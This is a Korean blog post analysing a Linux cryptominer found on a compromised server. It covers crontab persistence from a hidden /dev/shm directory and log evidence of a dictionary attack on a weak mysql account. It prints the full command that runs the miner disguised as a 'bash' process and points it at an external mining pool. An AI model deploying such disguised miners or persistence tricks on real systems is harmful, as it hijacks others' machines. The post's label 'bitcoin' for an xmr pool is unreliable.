리눅스 비트코인 마이너 분석

2017. 9. 15. 18:57보안 & 해킹/Linux

모의 침투 연구회에 글이 올라와서



빠르게 대충(?) 분석해보았다.


리눅스 악성코드 샘플은 처음보는 본인...


세세한 수식은 확인해보고 추가로 포스팅을 완성하겠음.










분석 시작



'bash라는 이름의 프로세스' 주목하자...!





유저 그룹권한이 모두 mysql임을 주목하자








샘플 파일은 9개의 파일로 이루어져있다.


처음에는 이 9개의 파일이 한곳에서 모든 작업을 하는지 아니면 악성코드의 일부분인지 몰라 분석이 가능할까 싶었다.


일단 elf파일들을 제외한 나머지 text 쉘 파일들만 다 열어보았다.






autorun 파일이다.


현재 경로를 dir에 복사하고 crontab으로 반복작업을 수행할 파일을 cron 파일로 redirect


crontab 유저 중 upd를 grep하는건 아마 실행 명령어가 잘 들어간지 확인해보려고 스크립트를 짠 듯.


pid값은 아래와 같이 bash.pid에 찍힌다.



if \$(kill -CHLD \$pid > /dev/null 2>&1) 구문은


실행중인 pid가 죽는걸 방지하는 듯. (이 부분 불확실)


2>&1 은 crontab으로 실행한 명령이 에러가뜨면 e-mail로 전송하는 작업을 막게하기 위해 추가한 구문임.







위 스크립트에서 생성된 cron 파일. 매 초마다 반복 실행










디렉터리 경로를 /dev/shm/.db 에 고정값으로 박아넣었다.

이는 해커가 /dev/안에 악성파일, 스크립트를 숨기기 위함이다.




run 파일에서 악성행위자를 볼 수 있다.


uname -m으로 아키텍쳐값을 구한 후 해당하는 운영체제에 따라 악성행위를 바로 실행한다.


aiwurea2@yahoo.com 이 악성행위자의 email로 보인다. ./bash 파일로 실행한다.

이 부분은 아래에서 다시 확인.





upd파일은 autorun 파일에 의해 생성되었다.







3가지 elf파일을 virustotal에 올려보았다.


모두 악성파일로 탐지된다. 그와중에 ClamAV 성능 굿굿




이것만 봐서는 무슨 짓을 하는지 잘 모르겠다.




ELF를 실행해보자.



./bash는 위의 스크립트에서 보았듯이 argument가 더 필요하기에 에러가남. 


bitcoin miner 프로그램이며 yvg1900이라는 제작자가 만들었다. 고로 아마도 침투자(aiwurea2@yahoo.com)가 이 파일들을 직접 제작하지는 않았다는 뜻.




궁금했던 h64와 h32 물론 직감으로나 file 명령어로나 알 수 있었지만 32비트 64비트에 해당하는 실행파일이다.


XHide로 Process Faker라고 나온다. 즉 프로세스를 원하는 형태로 이름을 바꾸어 실행해주는 프로그램이다.




./bash의 명령어 도움말을 참고하여 다음의 명령어를 상기해보자.




./h64 -s $HIDE ./bash -c 1 -t $proc -M stratum+tcp://aiwurea2%40yahoo.com:x@xmr.pool.minergate.com:45560/xmr >>/dev/null

./h64 를 bash라는 이름의 프로세스로 속이며 ./bash를 실행함.


-M 이 직접적인 miner의 채굴 주소 즉 aiwurea2@yahoo.com 은 악성행위자의 email이 맞다.


minergate.com 사이트를 통하여 비트코인 채굴 pool에 가담.











침투 경로




취약한 mysql 비밀번호 설정으로 인하여 mysql 계정이 탈취당하였음.

마침 sudoers에 등록된 계정이다.





email 로그도 확인할 수 있었다.

crontab 작업 요청 시 에러를 메일로 보내게 되는데 이를 막기위해 리다이렉션으로 처리했었음.




/var/log/secure-20170903 파일의 로그를 보면 계속해서 사전파일(ex.minecraft)을 접속시도 하다가 8시 50분 10초에 mysql 로그인을 성공한 흔적이 보인다.


초기 침투 시점은 2017년 08월 29일 8시 50분 10초이다.


그리고 8시 56분 29초에 password changed for mysql로 암호를 수정한 흔적도 볼 수 있다.




crontab로그로 /var/log/cron-20170903 파일을 보면 침투 후


/dev/shm/.db/ ~ 명령어를 실행한 흔적이 보인다.


침투 후 10분동안 비트코인 파일을 업로드 하고 준비했다고 보면 된다.


최초의 /dev/shm/.db 로그는 2017년 08월 29일, 9시 00분 01초에 찍혔으니 시작시점이라고 보면 된다.



아쉬운 점은 mysql 계정은 adduser 명령어로 생성하였었으나 /home의 홈디렉터리를 삭제하여 history file을 찾을 수 없었다.









참고 사이트 : http://webdir.tistory.com/257